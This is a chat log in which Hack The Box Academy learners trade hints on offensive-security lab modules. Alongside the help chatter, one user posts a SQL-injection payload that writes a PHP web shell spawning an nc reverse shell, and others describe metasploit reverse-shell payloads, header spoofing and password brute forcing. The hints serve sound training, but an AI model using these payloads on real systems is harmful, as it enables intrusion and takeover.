#modules
1 messages Β· Page 518 of 1
Oh I understand, then I guess that I will take note about everything, is it theorical or practice like OSCP?
The exam is 100% hands-on for a duration of 7 days. You can read more about it here:
https://academy.hackthebox.com/preview/certifications/htb-certified-bug-bounty-hunter/
I really appreciate it, I'm going to take a look thank you!
Well, I hate to disagree....
But I'm currently so stuck. I have solved 4 of 10 tasks.
I have worked through all the modules and thought I had understood everything. Now it doesn't really look like that... π΅βπ«
@acoustic owl You got this bro!
anyone can give me a hint where the flag can be at LFI and File Uploads module?
I could upload the webshell but couldn't find the flag
@tight mesa which section(s) ?
Don't worry, if I don't pass, I hope a teacher can give me appropriate tips.
Then I'll keep learning and someday I'll come back and try again.
LFI and File Uploads
I did already
the file name of the flag is a long string of random numbers and letters
doesn't work
without GIF8
gotcha
Yea the GIF8 is just a side effect of the shell we are using.
ty guys
Could someone give me a tip for the Broken Authentication Skill Assessment? I am logged in as support, but I can't figure out what the next step should be
Edit: Removing spoilers
Thank you!
Can someone give me a little nudge on the skills assessment of Web Service & API Attacks.
I have a root shell, have looked over some files but I cant seem to fuzz any parameters. I have also found credentials for eporter but not sure if that helps
@west canopy @tight mesa guys be careful with spoilers
If you have a shell, you should be able to just check the relevant app's source code and find the injection point pretty quickly
lol I should but I havent
Quick question. Which service would be faster to crack: ftp, ssh or smb?
for sure not ssh
at best on my VM using hals my cpu, ssh gives me 128 tries/min and ftp 272
I am on the windows machine from Junior Pentester > Shell & Payloads > Reverse Shell and pasting the client/target windows 10 Reverse shell command get an error (I changed my ip and also tryed port 4242)
oh well base64 works
Hello. I would like some help on SQL Injection Fundamentals, section: reading files.
I don't know anything about PHP so I am confused what to do, and how to do it.
@raven cairn DM me π
Could I get any help with the last question of the Active Subdomain Enumeration module in Information Gathering - Web Edition: "Submit the number of all "A" records from all zones as the answer." I assumed that I could get that with a simple "dig a" command within the different zones and just calculate it that way. I feel like an idiot, a nudge would help. Thanks
@long bone I think I counted all A records from the two zones manually (inlanefreight.htb and xxxxxx.inlanefreight.htb)
That's what I did... Hmm, it's in the double digits right?
yep
Thanks!
In file transfer module, why do they use python3 import urllib.request ..... instead of python -m http.server? It's so much easier and faster. Am I missing a point. In the linux section.
@sweet heron I think because that is using python to download a file from a server. Rather than starting your own HTTP server to host a file
yeah they use and url in the example instead of a webserver like I'm doing.
I did the same
I'm stuck in creds hunting in linux of the password attacks module. I've found nothing for user will. I'm already in with kira.
Look around in ||Kira $HOME||
I can't execute id command after running the exploit
nvm i forgot to use set payload generic/shell_reverse_tcp
hey guys im struggeling with SQLMap Essentials - Bypassing Web Application Protections
im using for the tasks what it is explained in the describtion but im not able to find the flags.
Any hints?
Hi, I'm on WordPress / Skill Assessment and I am stuck with the question about unauthenticated download. I found a vulnerable plugin, I know how to exploit it to download a file, but I don't know what file to download. Any hints?
Hi ! I'm stuck on the same question... Did you find something ?
The only thig regarding will I found for now is in sessionstore-backups, the recovery files. I tried unlz4 them, but got an header error.
Dm
Can I dm someone who finished wordpress module ?
@tacit topaz DM me π
@rustic sage Try looking on exploit-db, you can find an example proof of concept command
It's ok, Thunder5321 already helped me; but thank you anyway
Hello, can i have a nudge for SQLi Skill Assessment ?
DM me
general question in Using Web Proxies: Repeating Requests. so i found the initial flag. im trying to figure out how to cd into the other directories. any help would be appreciated.
using burpsuite
@rustic sage so you can't really Change Directories, but you can use the ls command to enumerate other directories
Because it's not a fully interactive terminal , it's not like you can move around and change your working directory. Any command you make through burp, your working directory will be the web root for the server
ahh ok that makes sense.
Hey, I'm stuck on the final task in the skills assessment of the hashcat module. I've cracked all the hashes and found the most common but apparently it is not right ||frequency of 18|| Anyone know where I have gone wrong?
Hey, can anyone help me with timelapse machine ?
Hello i am doing the Web requests module, and i am at the "PUT & Delete" section, and i am not sure what i am doing wrong. i am supposed to get a table of contents, but i am getting this error message instead
you need to install jq
sudo apt update && sudo apt install -y jq
awesome ty π
is there someway to know what is installed and what is not, i feel kind of dumb now :S
which jq => if no result, not installed π (or path missconfigured)
Kudos to @mortal basin for the Intro to Assembly module. Having so much fun with something I didn't touch since uni. Having an issue, though, with the Procedures part -- final question of that part, none of the addresses that appear on top of the stack, stepping through and into Exit appear to be correct. Anyone with a hint on where I am going wrong?
Thanks.. check dm
@short lynx if you are still having problems feel free to DM me π
Hi everyone! Could somebody please help me with Web Service & API Attacks - Skills Assessment? How to use sqlmap or test for SQLi if the service always hangs?
Hi everyone, just wondering if i might be able to get some help on Web Requests - GET section -
The exercise above seems to be broken, as it returns incorrect results. Use the browser devtools to see what is the request it is sending when we search, and use cURL to search for 'flag' and obtain the flag.
I have followed course material to the letter but for some reason i just cant seem to get this question. I am really flying blind on this... I dont think that the course material really explains what we are doing and what we are supposed to do very well. honestly i have gone down this page about 20 times and I still dont know whats going on... where is this flag!!
Could I please get some help with Web Services and API module.. ?
HAHAHAH OMG!! dont worry about it I GOT IT... WOW right in front of my face!!
I need help on SQLMAP essentials, section: Running SQLMAP on an http request, case #3.
@raven cairn try settin the cookie id as the injection point
and keep the --cookie like you have it now
i think you need to add -u before the target URL as well
@west canopy I just got the flag but in a very different way.
Ok... another speedbump i am following the instructions in Web Requests - GET section.
We see that the result is sent as a JSON string. To have it properly formatted in JSON format, we can pipe the output to the jq utility, which will format it properly. We will also silent any unneeded cURL output with -s, as follows
I put the following command in 'using the appropriate Server_IP and Port'
curl -s http://<SERVER_IP>:<PORT>/api.php/city/london | jq
and i get this when i initiate it:
bash: jq: command not found
(23) Failed writing body
Am i missing something???
@tired cliff need to install jq. Try the command: sudo apt install jq
What is jq here?
Ah cool thanks, since i am using the HTB web interface, i though that the session would have had it already installed.
It basically converts JSON data into a more easily readable format
hmm
I also need some help on the web requests module, section Zap scanner. I was able to spider and aggressive scan the site. I found || Remote Os Command Injection || . I've been trying to exploit this for a while. How should I do it? I've been trying to enter commands in input boxes, but it doesn't seem to be working.
@raven cairn DM me π
Hi all, I wrote this also on community help, but maybe more relevant here. I am finding 3 questions in the OSINT module impossible to submit correctly, and I posted the summary here, can anyone give me some guidance on it? https://forum.hackthebox.com/t/osint-corporate-recon-impossible-first-question-on-location/255704
Hi all, I am having a SUPER hard time with something I believe simply is not working⦠but I am reassured by the support is technically feasible⦠so looking for some input by the community. I am doing the OSINT - Corporate Recon questions, and I am faced with this question: What are the city's coordinates where one of the company's offices, "in...
Hi, has someone finished the section "Active Directory Search Filters" in the "Activre Directory LDAP" module? I'm stuck at the question "Find the name of an account with a ServicePrincipalName set that is also a member of the Protected Users group. " Found the name of two accounts but neither one is accepted. π₯²
I am stuck on Skills Assessment - Web Fuzzing " One of the pages you will identify should say 'You don't have access!'. What is the full page URL?" all of the pages found I try to access are blank or forbidden. I writing generically in an attempt to not share information.
Thank you, It helped me now as I came across that
I tried to read the same file as in the exploit, but there is no flag value inside.
Someone finished the WordPress Skill Assessment? I'm wondering on what file the unauthenticated file download should be done. It's the only question with a hint, but it's quite unclear to me. I tried to MySQL database as the answer but it seems not to be this.
@rustic sage DM me π
@knotty hemlock if you still stuck feel free to DM me
hi
Don't drink and discord
^
anyone please give me a nudge in file uploads module skill assessment
Hello, can i have a nudge on Network Enumeration with Nmap - Service Enumeration ?
Impossible to get hold of the flag π±
@tender dock Hey you want to pass along any useful info? Ive been stuck on that procedures section for a bit
@heady nova try connecting to one of the ports using netcat
ty π
dm
so im stuck on Using Web Proxies : Repeating Requests
i just finished that part, what are you stuck on
i cant seem to navigate anywhere
i was able to ls and find the initial flag but past that im kinda lost
no
what are you using
i used ls to find the flag and cat to open it
ok so my suggestion
is to enumerate the directory you are in
and work from there
and i dont mean the files in the directory, i mean the directory itself
so i ran the spider and found a robots.txt file but i cant open it
nope not gonna be that
you just need a much much simpler command
linux basic command
if you dont know where you are in your own file system what do you use to find out
ima take a step back and clear my head for a bit. i may be overthinking this
yeah just think of basic terminal commands
thanks for the pointers.
@rustic sage check the root directory
i found it. thanks everyone!
guys i need help in information gathering - web edition, Active infrastruture identification section questions. I tried whatweb and got execution expired, tried curl and got timed out, haven't try aquatone yet. I nmapped it and it gives filtered state. I really need a hint.
use browser devtool to copy the request into curl command and change the search parameter?
what do you mean change the search parameter?
curl "http://IP:PORT/search.php?search=THINGS"
words after question marks are parameters
π
ok why is this part of Using Web Proxies taking this long. im just trying to fuzz for this file via Burp Intruder. i know that its throttled by the free version but couldnt the module just have the file name early in the list? ive gotten up to 250+ requests and still not hitting the .html file
@devout cliff it should only take about 50 requests before you get a status code of 200
yea i think its called common.txt or something like that
yep. are you still supposed to use a regex to filter out the '.' in the wordlist?
ok i found out what i did wrong
nvm
i tried to target IP/admin instead of having it in the pointer

Hey guys, ive just started playing around with HTB and Kali linux and I had some questions. I am currently on the "System Information" module (first after the introductory) on the SSH connection section. The problem is I closed my PWNBox earlier and since I can only open it once a day I decided to run the moduels on a Kali VM instead. The problem im getting is that when I try to do the SSH command: "ssh htb-student@10.129.176.178" nothing happens. There is no error message, nothing
and its strange, it no longer lets me type out commands as the user or anything. Whenever I type its on a blank line, and it doesn't show me my user or directory or anything. Even if i type "exit" nothing happens
ctrl+z
oh, ty...
any tips as to why it wouldn't be working? Anything you can point me to? Or was the model designed to only be completed via the virtual PWNbox?
are you supposed to just be SSHing into the box?
yeah, i believe so. The module provided me with target IP & user along with the password. There are questions to answer once I connect to the taget computer. The only issue is I closed my PWNbox for the day, and I need to wait 24 hours, so i am trying to do them on a Kali VM
i think you might need to set up an openvpn first before you can ssh into the box.
i havent done that module in awhile
what is the name of the module?
Linux Fundamental > System Information
ok
Its under "System Information" under "The Shell" in Table of Contents
yeah i think you need to set up your openvpn first
before you ssh
so do that and then try again
if you dont know how to do that there should be a tutorial in the academy on how
i appreciate it, ill do some digging around!
it should be pretty easy, just download the vpn key that is next to 'cheat sheet' and use that file for your openvpn command
in theory, I should be able to complete this module in a Kali VM, right?
yeah i dont see why you couldnt
wicked, cheers
although for full disclosure im using parrot security
Yeah, I wasn't too sure where to begin so I found Network Chucks videos and he recommended Kali
I can always boot up another VM with parrot
i think it will be fine
so im trying to run "auxiliary/scanner/http/http_put" and im getting a file doesn't seem to exist. the upload probably failed
USING WEB PORXIES: proxying tools
Hmm, so I've managed to get a bit further but I am still unable to connect... I found the VPN key on the module and googled how to setup the VPN connections in Kali but its still giving me this error, not sure why
ok so you got the vpn set up in another terminal window and its running correct?
I believe so, but i didnt do it in terminal, i used teh gui
I just uploaded the filed to the built in VPN on Kali (top right of the picture)
ok try refreshing your target you are sshing to and try again
maybe the box is not working
make it give you a new target
np
did you figure this out
nope.im watching a video im metasploit trying to see if i configured something wrong
@rustic sage I wasn't able to get the exploit to work either, but you can find the solution to the challenge question just by looking at the Options of the exploit π
i figured this out i just didnt know if he got it yet
im trying to figure out something real quick and then can help if you still dont have it
ah ok. ill take a look. thanks for the help!
i really wish ZAP had a ascii hex encoder
built into their fuzzer Q_Q
ok what parameters did you set in metasploit
you shouldve set your 'use', 'PROXIES', 'RHOST', and 'RPORT'
and then run
yes
rhost was set the the ip i used in the previous exercise as well as rhost. i think that is where i messed up
so what i did
i used googles dns server
so 8.8.8.8 and port 53 respectively
and proxied through 127.0.0.1:8080 like it instructs
ok will give it a try. i get alittle freaked out doing this stuff on actual websites. so i waas trying to use the one i used prior
ok
ok thannks!! much appreciated!
Can I please get some helps with log poisoning part from File inclusion?
if you can ping the target and ssh connections keeps hanging try reducing Maximum transmission unit :'sudo ifconfig tun0 mtu 1200' default is 1500
I'm looking to ssh into a target. I have only access to ftp and I see its ssh priv and public keys, but I can't seem to edit via ftp the authorized_keys (nor put my own file) to add my own key. How does ippsec do it already? I know I saw him do something with ssh-keygen...
@sweet heron Footprinting Easy lab?
fuzzing with burp sux...
@rustic sage Yea it's slow haha
that's an understatement lol
Good morning/evening/../../../../night, dont suppose anyone can point me on the right track with the first skills assesment on "attacking common applications" (attempted searching for public exploits, poking around at abusable functions(couldnt find any) attempting to poke jenkins(which obviously didnt feel right) and attempted to look for directories ffuf) π§
@rustic sage DM me π
Hello, I am trying to get a reverse shell from a PHP server in SQL Injection fundamentals module. I am using this:
cn' union select "",'<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ip> <port> >/tmp/f"); ?>', "", "" into outfile '/var/www/html/shell.php'--
(I am replacing the IP and Port placeholders ofc).
But it just doesn't work.
Web shell does work but I don't like it
Hey guys, from getting started module knowledge check session I tried to upload shell file with js disabled. It works but can't reach to gettingstarted.htb/data/uploads/shell.php%. So I can't get reverse shell. Pls advice me any tips. Thanks!
I would recommend to just use metasploit
Or maybe it's a diff submodule lol
can you tell me which one you are talking about
Yep I tried with metasploit but it just say ''Exploit aborted due to failure: unknown: $ip:80 - Upload failed''. I'm talking about knowledge check submodule. Thanks
So first you have to obtain the plugin information.
Then just search plugin name in msfconsole.
Use the one with unauth in the name, the authenticated one doesn't seem to work.
set rhosts, lhost.
set payload to generic/shell_reverse_tcp.
I did something like that
All of this is mentioned in prev lessons so it isn't a spoiler π
can someone help me with the nmap module at Service Enumeration ? I don't understand how to find the flag...
Hi, I'm trying to import the provided zip file from AD BloodHound module but I just get "File created from incompatible collector". Can someone help me?
Hi I'm trying to do the skill assessment of the web service and api attacks but i'm a bit stuck can I get some help plz ?
Nvm I found the flag !
Not with the expected method but I get the flag π
Has anyone completed the 'Service Login' portion of the 'Login Brute Forcing' module? I need a little guidance.
whats up
Sorry, I found it by myself
well done!
Thank you sir. It was a challenge.
@lethal atlas Nice job on getting that done bro!
I was using wrong exploit lol.
Thanks bro
Yeah took me a while to figure out too π
Hey, I need help with the Assessment of "Broken Authentication". I try to bruteforce the support login. I filtered rockyou.txt with the password requirements. But still cannot find the correct password. Is there anyone who can provide help?
I can help you bro
Congrats bro!!!
Thanks bro.
hey i need help with module Getting started Section Service scanning the question asks me to identify the non default port that the telnet service is running on i understand that i run nmap but i dont understand what im lloking for in the nmap results
im running intruder attack in burp in the USING WEB PROXIES: BURP INTRUDER: i cant seem to get it to find the admin page . this is the second time ive run the attack the machine runs out of time before the attack is done. any suggestions?
DM me
Anyone done the Academy module web proxies....specifically repeating requests? I cannot figure out where the flag is..... i have looked through a bunch of directories in /var/ and /var/www/html/public/ cannot find anything
@plain cypress check the root directory
@rustic sage are you running the intruder against: GET /admin/$FUZZ$.html ?
so im running on burp in the repeater tab.... using ip=;dir /var/; is it possible to get to root through this or do i need to switch to curl?
I had the same error, I had to use Pwnbox. I think the Bloodhound Data they use in the module is not compatible with newer versions of bloodhound
@plain cypress yes just look for what's in the root directory. ls /
@dry pumice Try connecting to one of the ports with netcat π
the more you know..... been looking through random /var/ directories for like 30 minutes.... thank you for the help
np π
working through it.
@rustic sage if you gets stuck feel free to DM me
word. thanks bud
Anyone figure these questions out (Attacking Common Applications)?
I can't find the flag
@late beacon Wordpress Discovery and Enumeration?
Yea that one, I looked in /wp-includes but didn't see it
DM me π
im having issues with the getting started course. specifically the public exploits section. 1) the IP is constantly dropping. i can visit it once and see its a WP page but afterwards it wont come back up. i cant ping it etc 2) which WP exploit do i use. there are like dozens on dozens and i really dont want to try every single one.
i know imma newb. pls dont laugh
ill try that one thank you
@heavy edge My posts may have been too spoilery --- if you get stuck feel free to DM me !
Congrats!
Thanks!!
just finished priv escalation
if you need help you can ask me for tips
gonna run through it a few times to get it down 100%
Get it big dawg!
anbody a hand on assembly module?
guys i need help in information gathering - web edition, Active infrastruture identification section questions. I tried whatweb and got execution expired, tried curl and got timed out, haven't try aquatone yet. I nmapped it and it gives filtered state. I really need a hint.
@manic zealot DM me π
Hey I'm stuck at File Uploads Skills Assessement I've found a payload that gets through but I don't know where it is stored. I know I should read the source code of upload.php but I don't know how, I can't seem to read it via XXE and I've also read the source code of script.js but it doesn't help either. So I would really appreciate a hint.
@flint helm DM be brah i got you!
Good evening guys, hope everyone is fine. I'm having difficulty understanding this exercise in the Web Requests module. I found the flag request in the devtool but what should I type in the answer box? Also the png on this section of the module is not working and I didn't had the chance to look at it
@unreal beacon try navigating the flag in your browser, or use CURL from your terminal
Oh yeah I just had to open it. That was easy! Thanks for the hint!
Anyone for a sanity check on the final skills assessment on the SQLMap module? Iβm having trouble getting the payload right. Thanks!
SQLMap Essentials?
Yes...sorry, left off the Essentials. That's the one.
dm me what you got i finished that module
see if i can remember what i did
OH THIS ONE
haha
yeah definitely dm me ill point you in the right direction
I have a question on medium lab on password attacks. Do I really need to bruteforce ssh with the second user I found? Trying hydra on smb gives me an error "does not support SMBv1"
For Host and Port Scanning wihtin Network Enumeration with Nmap , what is the target system IP?
got the usr flag on knowledge check for getting started on to the root tomorrow
Click the green text: "Click here to spawn the target system!" ...
.
if you need help with the usr flag and half of root lmk i was so close then the machine died so i had to respawn it

You'll have to connect to htb via the vpn key available on the right of "cheat Sheet" new the target ip.
D'oh. I figured it out.
Do you know if I could download a VPN that is over TCP and not UDP, though?
so you download thr ovpn file
and then init it thru terminal
udp or tcp which ever u want
Yes, but I'd need to edit the config file
Does academy HTB support openvpn over TCP? or just UDP?
I know you get to choose on the main htb website, but not for academy.
I've completed 17 modules and never found out I was using UDP xD
I see the option. It just wasn't in the module. Sometimes you need to edit the config file for openvpn to change the settings. My campus internet has UDP port 1194 blocked
So I need to use openvpn via TCP 443
Thank you!!
SMTP Footprinting. Anyone available to help?
For enumerating the hostname with DNS, which flags should I use? In 'Enumerating with nmap`
which module section?
Oh I got it, didn't pay attention. Thanks!
spoiler?
Within Host and Port Scanning in the module Network Enumeration with Nmap, how do you enumerate the hostname? I've tried --resolve-all -R and the -A flag?
@rustic sage -A should give the hostname π
<spoiler>nix-nmap-default</spolier> Is what I get, and it says nmap does not recognize default name
@west canopy When I enter "nix-nmap-default" , I get an incorrect answer.
I didn't have it as case sensitive :///
anybody can help me with assembly module
Thanks @west canopy
Anyone figure out the last question for the Attacking Common Applications assessment?
I know it has something to do with cgi but I can't find the file
@late beacon Skill Assessment 1 or 2?
First
DM me π
@west canopy Can i dm a stupid question?
Hi, is anyone available to give a nudge on the "Web Attacks" skills assessment? I am a bit stuck
Footprinting module, smb. I can't seem to find the custom version of the share (or I can't find the good format to input the answer).
@sweet heron try connecting with rpcclient and enumerate the shares that way
they wanted all the line! Thanks
Specifically, I am stuck trying to change the password of the admin user - but can't get past the permission denied issue
@manic ermine try changing the Request type by right clicking in burpsuite π
Awesome, thanks!!
@plucky plover No. It's not because you aren't using pwnbox. I did it without yesterday. Unless a VPN key is provided target instances are publicly available.
did you use -s or -O?
Neither should effect it here.
so "curl http://68.183.45.211:31846/download.php" is the correct command?
You should be able to at least connect to the server with that.
yea idk why i cant connect
I'd try resetting and then make sure you use the newly assigned IP and port.
Ill try that once i try on windows
maybe my vm just doesnt have good iternet connection
nope same thing
ill try getting new ip and port
@urban sage it worked, i guess that other port and ip was just bugged
thanks alot for the help homie
Excellent. Happy hacking!
anyone done with information gathering
can i ask for your help in private
i got many questions
uhm can anyone help me out with command injection skills assessments. It is Tiny File manager. Most exploits that I see are for non read only users. I tried everything taught in the modules for command injection
Could someone PM me, i have some issues with 'active subdomain enumeration' in the 'information gathering - web edition' module
i am stuck and i would like to make sure i am understanding correctly
Hello, why is it mandatory to split subnets in x % 2 = 0 amounts ? Why can't I split /24 into /27?
What do you mean? You wouldn't split /24 further?
Where have you read that? I mean, why wouldn't you be able to segment the network in odds?
β― sipcalc 10.10.10.0/27
-[ipv4 : 10.10.10.0/27] - 0
[CIDR]
Host address - 10.10.10.0
Host address (decimal) - 168430080
Host address (hex) - A0A0A00
Network address - 10.10.10.0
Network mask - 255.255.255.224
Network mask (bits) - 27
Network mask (hex) - FFFFFFE0
Broadcast address - 10.10.10.31
Cisco wildcard - 0.0.0.31
Addresses in network - 32
Network range - 10.10.10.0 - 10.10.10.31
Usable range - 10.10.10.1 - 10.10.10.30
hi all, i have an issue with the last question of Web Requests Module.
i have replaced all city_name with 'flag' - then i have deleted all. after this job when i call for /api.php/city/flag the flag does not pop on my console. any hint?
ohhh... my bad, exercise specific. sorry
Yes, you can. The powers of 2 thingie is adhered to by using /27, btw. You get 32 addresses.
I'd suggest using sipcalc/ipcalc to experiment and find what makes and does not make sense when segmenting a network
Yeah I wanted to experiment and I did split a /24 network by 3 on paper and it worked perfectly
So I was confused about what they said
Tends to happen, know the feeling π
Thanks for the help
Did you ever get an answer to this?
anyone can help me?
I actually had a similar issue but I somehow fixed it and then forgot how I did :D. Maybe try renaming a different city or resetting the machine
its part of academy, it's impossible to reset it
okay.. ill try to wait until the rest
If you did everything correctly and it is indeed a bug you can dm for something π
try to write flag.txt
a lot of time is the name the prob
*times
okay ill try
it work?
Hello.. can anyone help me to connect to a windows system using xfreerdp.? I'm trying to complete the Windows Fundamentals Module, but I am unable to connect to the Windows System as mentioned in the exercise
You getting some form of error message?
hello everyone, who can give me a hint with "Server Log Poisoning" under LFI | Path Transversal module, I'm stuck..!!!
I'm doing exactly the same was explained in the content but I can't receive the response poisoned from the server once the web shell was sent..!!!
dm me
Can anyone help on assembly part 2 assessment
Hi
I'm stucking in question: How large can our shellcode theoretically become if we count NOPS and the shellcode size together? (Format: 00 Bytes)
I searched in Google, I found this: https://www.reddit.com/r/hackthebox/comments/klzbgw/help_academy_linux_buffer_overflows_stuck_at/
15 votes and 6 comments so far on Reddit
Here, suggests using msf modules like blabla_pattern.rb
But I can't find it
Anyone completed the bloodhound module that can help. I only have the very last question to go. Find the percentage of users with a path to Domain Admin.
Nevermind. I finally figured out.
@arctic torrent just need to add these two numbers together π
how to I connect to the Windows Spawn machine with my VM... I've connected through the openvpn, but I am unable to connect the xfreerpd to the IP.
it always gives me "faild to connect" error
what a dumb(it's me)
thanks
it's true
One AD module to rule them all!
Added to my list of To-Do
The sqlmap section is pretty darn difficult. Could I have some help on case#6 ? (sqlmap essentials attack tuning)
The hint is to use the prefix ')
I've tried quite a bit for a while but I haven't been having luck
Can anyone help me with hydra http-post-form ?
sure can
dm me
when is it coming down
Soon... Very soon!
[Broken Authentication - Skill Assessment]
Hello ! I know that some people asked about this exercise but I can't find other account (other than 'support') in using message sender page. I have tried different department name (as office, it, hr etc..) with country code (es, eu, fr etc...) but unable to find a account π¦
My syntax : department.xx
Anybody have an idea please ? π
It sounds like you were right there.
Okay, @jagged zenith helped me in mp, thanks π
Thanks for your answer π
!rank
Has anyone completed command injection skills assesment that could help me out?
guys please help me. In the file inclusion module, Automated Scanning, it tell me to perform a scan with ffuf for find an "expose parameter" for do the task, but ALL the parameter in the file work during the fuzzing, but no one work properly. Am i doing something wrong or there is a prob??
@rancid tide first you need to fuzz to find out the actual parameter name. And then do a second fuzz for the value π
Once you find the parameter name , when you fuzz for the value you will see results with either a size of 1935 or 3309.
The ones with size 3309 are valid
@hardy kindle DM me π
ok thanks for the help, i'll retry now
@rancid tide if you get stuck feel free to DM
ok thanks π
Can anyone help with assembly module?
can anyone give me a hint for the Broken Authentication Module, second question on Weak BruteForce Protections?
is anyone able to help me out with the Password Attacks module? The first part on network services asks to identify the user for the service then bruteforce the password. Other than using CME to work through each pass/user combo is there some way to identify the user first more quickly?
@fast timber you don't actually need to brute force credentoals, just send an HTTP request with the X-Forwarded-For header along with an acceptable IP address
They don't hint us a lot so it's easy to start some really time consuming bruteforcing for this module... I can tell you to use the rockyou password list and use the username list that you can fin in the ressource tab of the module. For the username, you can easily remove all users up to "recovery". It will help reduce the time.
in the Information Gathering module, it asks for the admin email contact for venmo.com domain. yet it isnt listed via WHOIS. is there supposed to be another way to find it
the command works fine
its not listed in there. the email that is the answer
dm me
strange but good deal you got it
yeah weird
im doing it on Burp
tried a bunch of stuff already
but nothing
Thanks so much for the hint. I got the resource list but it was taking longer than the box was alive for to do all the combinations. I'll shorten the user list and go from there, thank you again
Could somoneplease help me with Edit the php.ini file to block system(), then try to execute PHP Code that uses system. Read the /var/log/apache2/error.log file and fill in the blank: system() has been disabled for ________ reasons. from File inclusion part?
@rare jackal you can actually just google to find he error message π
I think i'm very close... thanks i'll message you
the absolute first section
hello, the first section is the one wich says "introduction"
cause its the first section of that module
no problem
I might just be dumb but I don't see a "Enumerating GPO" section anywhere
In the bloodhound module
is there a trick to getting the zap hud to work?
i cant interact with the sites
it keeps telling me to add the site to the scope i click add and nothing happens.
Are you using Parrot? I could never get ZAP working properly on Parrot (plus a handful of issues with other tools too). After many days of searching and trying different things, I switched to Kali and everything works well,
@rustic sage I had to use Zap's built in browser to get the HUD to show up
yea i have it up but it still doesnt respond
using parrot
If you are trying to use zap scanner you can do it without the HUD
im "attempting" to use the scanner lol
Any hint on brute-forcing attacks' hard box?
Reason: Mass mention
which module?
The last one, the hard lab.
which module?
π
was I not clear?
I cracked Paper today on HTB
that chat bot tripped me out
lol it was funny
totally could have been made by Dwight
xD My bad, I've messed up the name: Password Attacks, not brute-forcing attaks!
Does anyone know for file uploads part limited file uploads I'm at doing file:///flag.txt but does show empty?
@rare jackal that should work. Maybe there is a problem with your XXE?
nice bro, that is a really /good+fun box
Basically, I want to download a keepass file from a windows box where I have no admin privs nor internet.
Im afraid thats not really what we do here
pretty sure you need internet to download a file
I meant transfer to my host.
This module is nice, but frustrating at the same time. (Password Attacks)
FTR, I've found a way using base64
Yo can someone help me with HTTP request plz dm if you can
@rare plank i got you brah π

For Skills Assessment - File Upload Attacks, can anyone share what file extension list you used? I can't seem to iterate with my list.
same here, no ssh user and password provided. did you figured out what to do?
Anyone can help me with the 1st question of FOOTPRINTING/DNS? what's the expected answer? I've tried multiple times. They're all wrong.
enumerate the FQDN of it for the "inlanefreight.htb" domain
use dig
I got everything and joined them with comma. but the answer is not correct.
Thanks @feral gyro . problem solved.
Someone can help me to find the ldapadmin password and help me escalation the privilege in the "Windows Privilege Escalation Skills Assessment - Part I"?
Someone here that has done the web attacks module? i could need a nudge
Just finished the other day - what's up?
Hi, normal the targets system for ffuf module doesn't work?
I tried with the pwnbox and vpn, the IP:PORT doesn't seem to answer
hello everyone, I need a hint
I'm currently working over LFI module Server Logs/Configuration section, but I can't find the information described in the module under /etc/apache2/apache2.conf
anyone who had made this module before could let me know if the webroot is inside another different file as "/etc/apache2/apache2.conf"
I am currently performing the last section of the Cracking into Hack the Box, The Knowledge check exercise. I think there is something on the host that used to depend on Flash and thus some of the functionality is broken. Is there an appropriate place were I can contact support for HTB Academy related content?
@naive ravine If your in the module you should see a green circle in the bottom right corner of your screen, just contact them on there.
Can anyone help with assembly module?
hello, can anyone explain to me the meaning behind key=decoded_key
on other parts in the program, it say serial serial=decoded_key
but the respective sites i am penetrating, is either serials.php or keys.php
how to i know which key i should use?
Thanks ivonic will do
Just to confirm, Can I repeat with BurpSuite modified responses from a Server? I know that requests can but I don't know if I have to modify the response and repeat it or do something in the request
So, I am fairly confident with the command line, but am running through the academy (free) linux command line course, and for whatever reason, on the question "What is the index number of the "sudoers" file in the "/etc" directory?" it is not excepting my answer... My steps were: 1.) cd / 2.)cd etc 3.) ls -i | grep sudoers 4.)922354 sudoers 461 sudoers.d. Easy enough. But it is not excepting 922354 as the answer. Am I crazy, am I wrong, or are they trying to kill my machine to have me pay for it because I was beasting through the exercises since to 24 hr wait after the 1 termination.
Anyone done the Password Attack Module? I'm literally stuck on the first section
Not sure I understand your question here. As responses come from the server, you'd have to manually modify them if that's your goal. With burp you can use "Match and Replace" to automate it if you're using burp.
I was able to use cme to brute force the winrm user/pass, and from there I used evil-winrm to get powershell working, and got a list of users that are in rdp, smb. However tried brute force all password and non matched
that's pretty much my progress after 4 hours, no idea where to go from here lol

@barren stoneAre you getting a line count?
bruh
the server-side attacks skills assessement was so dumb
not what I had expected at all
As far as I know, is that it is just asking for the inode or index number of sudoers in the etc file. I thought ls -i was the command for that number, but I must be wrong. I have been working on my hacking courses since like 3am and it's 10 already, so maybe I'm misreading. Hahaha.
@barren stonelol, if I remember correctly the index number is the number assigned to it as a location in the greater whole, do you have any screenshots, DM me.
ls -i is the command
If your doing a total line count for the index make sure your not also counting the first line that is just information and not the actual # of sudoers
@barren stone
Yes, ping if you hang in the module. Wrong path can take long timeβ¦
did you add the domain to your /etc/hosts?
its not wanting a line count. It wants the actual inode number.
@lament crag pls be careful with spoilers
@lethal atlasah MB
Just a heads up for anyone on Information Gathering Web Edition. In the skills assessment the question regarding gear.githubapp.com cannot be answered at this time as that site no longer exists. I have notified HTB and they are aware of the issue and will work to fix it.
hey bro did you solve this?
i got stuck in command injections Bypassing Other Blacklisted Characters
someone could help me with the broken authentication module? im stucked at the part Predictable Reset Token
skills assessment
hmu bro
I can help
appreciate that
anyone needing help with that question I have the output from the scan and can help you finish the module.
I understand that, but my question is if Can I send this "response" to repeater as well as the POST request for example, one exercise says that I have to modify the response (done), but I can't obtain the flag with just one click then I don't know if I can automate that click :/
Resolved: I disabled the intercept requests and responses to do click many times, thank you anyway π
im on the same module, info gathering web edition on section for active subdomain enumeration, when i am trying my nslookup command im getting an error: 'server cant find inlanefreight.htb:NXDOMAIN' what am i doing wrong
apologies in advanced if this is a silly question, but anyone can help me to understand how to do the last question from LFI DirTtransversal module under File Inclusion Prevention section..???
in your command do you have "inlanefreight.htb:NXDOMAIN"
DM me if you want some help
no my command i think was nslookup type=NS inlanefreight.htb
or something similar. let me open my VB back up
yeah that was it
nslookup -type=NS inlanefreight.htb
and it just threw an error back to me of 'server cant find inlanefreight.htb: NXDOMAIN'
dm me
fixed this. nice catch, it references the PowerView module since they are in the same Path
Is the forum down? Canβt seem to load the academy modules?
@final salmon Both seem to be working fine on my end
working the Active Directory LDAP - Skills Assessment and I'm literally on the last question: "What non-default privilege does the htb-student user have?" I am running whoami /priv and there are only two. Neither work. What am I missing?
@frozen lily try launching an elevated powershell (as in right click -> run as administrator) , then run whoami /priv
I am having trouble with File upload attacks: Blacklist filters.
